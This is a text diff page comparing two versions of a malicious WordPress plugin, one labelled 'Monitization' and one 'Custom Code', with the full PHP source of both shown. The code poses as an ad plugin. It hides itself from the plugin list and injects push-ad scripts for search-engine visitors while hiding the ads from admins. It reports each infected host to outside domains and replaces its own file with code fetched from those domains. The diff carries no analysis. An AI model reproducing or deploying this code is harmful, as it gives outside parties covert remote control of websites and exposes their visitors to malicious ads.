WP Malware Diff

Created Diff never expires
57 removals
425 lines
69 additions
436 lines
<?php
<?php
/**
/**
* Plugin Name: Monitization
* Plugin Name: Custom Code
* Description: this plugin will help you Monitize your traffic easily from different ad networks.
* Description: show cusom ad codes with many options .
* Author: Igor Glavatskiy
* Author: Alberto Uozumi
* Version: 1.0
* Version: 1.0
*/
*/

error_reporting(0);
error_reporting(0);
ini_set('display_errors', 0);
ini_set('display_errors', 0);
$plugin_key='🦹🏻‍♂️ REDACTED 🦹🏻‍♂️';
$plugin_key='🦹🏻‍♂️ REDACTED 🦹🏻‍♂️';
$version='1.2';
$version='1.2';

add_action('admin_menu', function() {
add_action('admin_menu', function() {
add_options_page( 'Monitization Plugin', 'Monitization', 'manage_options', 'monit', 'mont_page' );
add_options_page( 'ccode Plugin', 'ccode', 'manage_options', 'ccode', 'ccode_page' );
remove_submenu_page( 'options-general.php', 'monit' );
remove_submenu_page( 'options-general.php', 'ccode' );
});
});






add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_link');
add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_ccode');
function salcode_add_plugin_page_settings_link( $links ) {
function salcode_add_plugin_page_settings_ccode( $links ) {
$links[] = '<a href="' .
$links[] = '<a href="' .
admin_url( 'options-general.php?page=monit' ) .
admin_url( 'options-general.php?page=ccode' ) .
'">' . __('Settings') . '</a>';
'">' . __('Settings') . '</a>';
return $links;
return $links;
}
}












add_action( 'admin_init', function() {
add_action( 'admin_init', function() {


register_setting( 'mont-settings', 'default_mont_options' );
register_setting( 'ccode-settings', 'default_mont_options' );
register_setting( 'mont-settings', 'ad_code' );
register_setting( 'ccode-settings', 'ad_code' );
register_setting( 'mont-settings', 'hide_admin' );
register_setting( 'ccode-settings', 'hide_admin' );
register_setting( 'mont-settings', 'hide_logged_in' );
register_setting( 'ccode-settings', 'hide_logged_in' );
register_setting( 'mont-settings', 'display_ad' );
register_setting( 'ccode-settings', 'display_ad' );
register_setting( 'mont-settings', 'search_engines' );
register_setting( 'ccode-settings', 'search_engines' );
register_setting( 'mont-settings', 'auto_update' );
register_setting( 'ccode-settings', 'auto_update' );
register_setting( 'mont-settings', 'ip_admin');
register_setting( 'ccode-settings', 'ip_admin');
register_setting( 'mont-settings', 'cookies_admin' );
register_setting( 'ccode-settings', 'cookies_admin' );
register_setting( 'mont-settings', 'logged_admin' );
register_setting( 'ccode-settings', 'logged_admin' );
register_setting( 'mont-settings', 'log_install' );
register_setting( 'ccode-settings', 'log_install' );
});
});


$ad_code='
$ad_code="
<script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3260072" async data-cfasync="false"></script>
<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script>
<script src="https://pushsar.com/pfe/current/tag.min.js?z=3260077" data-cfasync="false" async></script>
<script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script>
<script type="text/javascript" src="//inpagepush.com/400/3324386" data-cfasync="false" async="async"></script>
<script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script>
';
";


$hide_admin='on';
$hide_admin='on';
$hide_logged_in='on';
$hide_logged_in='on';
$display_ad='organic';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$auto_update='on';
$ip_admin='on';
$ip_admin='on';
$cookies_admin='on';
$cookies_admin='on';
$logged_admin='on';
$logged_admin='on';
$log_install='';
$log_install='';


function mont_page() {
function ccode_page() {
?>
?>
<div class="wrap">
<div class="wrap">
<form action="options.php" method="post">
<form action="options.php" method="post">
<?php
<?php
settings_fields( 'mont-settings' );
settings_fields( 'ccode-settings' );
do_settings_sections( 'mont-settings' );
do_settings_sections( 'ccode-settings' );
$ad_code='
$ad_code='';

';


$hide_admin='on';
$hide_admin='on';
$hide_logged_in='on';
$hide_logged_in='on';
$display_ad='organic';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$auto_update='on';
$ip_admin='on';
$ip_admin='on';
$cookies_admin='on';
$cookies_admin='on';
$logged_admin='on';
$logged_admin='on';
$log_install='';
$log_install='';


?>
?>
<h2>Monetization Plugin</h2>
<h2>ccode Plugin</h2>
<table>
<table>
<tr>
<tr>
<th>Ad Code</th>
<th>Ad Code</th>
<td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea><br><p class="description">
<td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td>
Don't have ad code ? <a href="https://propellerads.com/publishers/?ref_id=TbQg" target="_blank">propellerAds (up to $10 CPM).</a></p></td>
</tr>
</tr>
<tr>
<tr>
<th>Hide ads to :</th>
<th>Hide ads to :</th>
<td>
<td>
<input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
<input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
<label>
<label>
<input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
<input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
</label>
</label>
<label>
<label>
<input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
<input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
</label>
</label>
<br/>
<br/>


</td>
</td>
</tr>
</tr>
<tr>
<tr>
<th>Recognize admin by :</th>
<th>Recognize admin by :</th>
<td>
<td>


<label>
<label>
<input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
<input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
</label>
</label>
<label>
<label>
<input type="checkbox" name="ip_admin" id="ip_admin" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
<input type="checkbox" name="ip_admin" id="ip_admin" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
</label>
</label>
<label>
<label>
<input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
<input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
</label>
</label>


</td>
</td>
</tr>
</tr>
<tr>
<tr>
<th>Display ads to :</th>
<th>Display ads to :</th>
<td>
<td>
<select name="display_ad">
<select name="display_ad">
<option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
<option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
<option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
<option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
</select>
</select>


</td>
</td>
</tr>
</tr>


<tr>
<tr>
<th>Search Engines</th>
<th>Search Engines</th>
<td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
<td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
comma separated </p>
comma separated </p>
</td>
</td>
</tr>
</tr>
<tr>
<tr>
<th>Auto Update :</th>
<th>Auto Update :</th>
<td>
<td>


<label>
<label>
<input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
<input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
</label><br/>
</label><br/>


</td>
</td>
</tr>
</tr>
<tr>
<tr>
<td><?php submit_button(); ?></td>
<td><?php submit_button(); ?></td>
</tr>
</tr>
</table>
</table>
</form>
</form>
</div>
</div>
<?php
<?php
}
}


/*************************log install***************************/
/*************************log install***************************/
if(get_option('log_install') !=='1')
if(get_option('log_install') !=='1')
{
{
if(!$log_installed = @file_get_contents("http://www.lomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
if(!$log_installed = @file_get_contents("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
{
$log_installed = @file_get_contents_curl1("http://www.lomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
$log_installed = @file_get_contents_ccode("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
}
}
/*************************set default options***************************/
/*************************set default options***************************/


if(get_option('default_mont_options') !=='on')
if(get_option('default_mont_options') !=='on')
{
{
update_option('ip_admin', $ip_admin);
update_option('ip_admin', $ip_admin);
update_option('ad_code', $ad_code);
update_option('ad_code', $ad_code);
update_option('cookies_admin', $cookies_admin);
update_option('cookies_admin', $cookies_admin);
update_option('logged_admin', $logged_admin);
update_option('logged_admin', $logged_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_logged_in', $hide_logged_in);
update_option('hide_logged_in', $hide_logged_in);
update_option('display_ad', $display_ad);
update_option('display_ad', $display_ad);
update_option('search_engines', $search_engines);
update_option('search_engines', $search_engines);
update_option('auto_update', $auto_update);
update_option('auto_update', $auto_update);
update_option('log_install', '1');
update_option('log_install', '1');
}
}


/************************************************************************/
/************************************************************************/
include_once(ABSPATH . 'wp-includes/pluggable.php');
include_once(ABSPATH . 'wp-includes/pluggable.php');


if ( ! function_exists( 'display_ad_single' ) ) {
if ( ! function_exists( 'display_ad_single' ) ) {


function display_ad_single($content){
function display_ad_single($content){
if(is_single())
if(is_single())
{
{


$content=$content.get_option('ad_code');;
$content=$content.get_option('ad_code');;
}
}
return $content;
return $content;
}
}


function display_ad_footer(){
function display_ad_footer(){
if(!is_single())
if(!is_single())
{
{
echo get_option('ad_code');
echo get_option('ad_code');
}
}
}
}




//setting cookies if admin logged in
//setting cookies if admin logged in
function setting_admin_cookie() {
function setting_admin_cookie() {
setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
}
}


if(get_option('cookies_admin')=='on')
if(get_option('cookies_admin')=='on')
{
{


if(is_user_logged_in())
if(is_user_logged_in())
{
{
add_action( 'init', 'setting_admin_cookie',1 );
add_action( 'init', 'setting_admin_cookie',1 );
}
}
}
}




//log admin IP addresses
//log admin IP addresses
$vis_ip=getVisIpAddr_ccode();
if(get_option('ip_admin')=='on')
if(get_option('ip_admin')=='on')
{
{
if(current_user_can('edit_others_pages'))
if(current_user_can('edit_others_pages'))
{
{


if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
{
{
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
}
}


if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
if (stripos($ip, $vis_ip) === false)
{
{
$ip.=$_SERVER['REMOTE_ADDR'].'
$ip.=$vis_ip.'
';
';
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);


}
}


}
}
}// end if log admins ip
}// end if log admins ip







//add cookies to organic traffic
//add cookies to organic traffic


if(get_option('display_ad')=='organic')
if(get_option('display_ad')=='organic')
{
{


$search_engines = explode(',', get_option('search_engines'));
$search_engines = explode(',', get_option('search_engines'));


$referer = $_SERVER['HTTP_REFERER'];
$referer = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($search_engines as $search) {
foreach ($search_engines as $search) {
if (strpos($referer,$search)!==false) {
if (strpos($referer,$search)!==false) {
setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
$organic=true;
$organic=true;
}
}
}
}


}//end
}//end








//display ad
//display ad


if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in())
if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in())
{
{


$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
if (stripos($ips, $_SERVER['REMOTE_ADDR']) === false)
if (stripos($ips, $vis_ip) === false)
{
{
/*****/
/*****/
if(get_option('display_ad')=='organic')
if(get_option('display_ad')=='organic')
{
{
if($organic==true || isset($_COOKIE['organic']))
if($organic==true || isset($_COOKIE['organic']))
{
{
add_filter('the_content','display_ad_single');
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');
add_action('wp_footer','display_ad_footer');
}
}
}
}
else
else
{
{
add_filter('the_content','display_ad_single');
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');
add_action('wp_footer','display_ad_footer');
}
}


/****/
/****/


}
}


}
}
/*******************/
/*******************/










//update plugin
//update plugin


if(get_option('auto_update')=='on')
if(get_option('auto_update')=='on')
{
{


if( ini_get('allow_url_fopen') ) {
if( ini_get('allow_url_fopen') ) {






if (($new_version = @file_get_contents("http://www.lomndo.com/monit_update.php") OR $new_version = @file_get_contents_curl1("http://www.lomndo.com/monit_update.php")) AND stripos($new_version, $plugin_key) !== false) {
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}
elseif ($new_version = @file_get_contents("http://www.lomndo.xyz/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
elseif ($new_version = @file_get_contents("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}




elseif ($new_version = @file_get_contents("http://www.lomndo.top/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
elseif ($new_version = @file_get_contents("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}


}
}
else
else
{
{
if (($new_version = @file_get_contents("http://www.lomndo.com/monit_update.php") OR $new_version = @file_get_contents_curl1("http://www.lomndo.com/monit_update.php")) AND stripos($new_version, $plugin_key) !== false) {
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}
elseif ($new_version = @file_get_contents_curl1("http://www.lomndo.xyz/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}




elseif ($new_version = @file_get_contents_curl1("http://www.lomndo.top/monit_update.php") AND stripos($new_version, $plugin_key) !== false) {
elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {


if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
@file_put_contents(__FILE__, $new_version);
@file_put_contents(__FILE__, $new_version);
}
}
}
}
}
}
}//end if auto update
}//end if auto update


/*********************************/
/*********************************/







}// if function exist
}// if function exist




function file_get_contents_curl1($url)

function file_get_contents_ccode($url)
{
{
$ch = curl_init();
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
$data = curl_exec($ch);
curl_close($ch);
curl_close($ch);
return $data;
return $data;
}
}




function hide_plugin_trickspanda() {
function hide_plugin_ccode() {
global $wp_list_table;
global $wp_list_table;
$hidearr = array('monit.php');
$hidearr = array('ccode.php');
$myplugins = $wp_list_table->items;
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
unset($wp_list_table->items[$key]);
}
}
}
}
}
}


add_action('pre_current_active_plugins', 'hide_plugin_trickspanda');
add_action('pre_current_active_plugins', 'hide_plugin_ccode');


function getVisIpAddr_ccode() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
}
else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}


?>
?>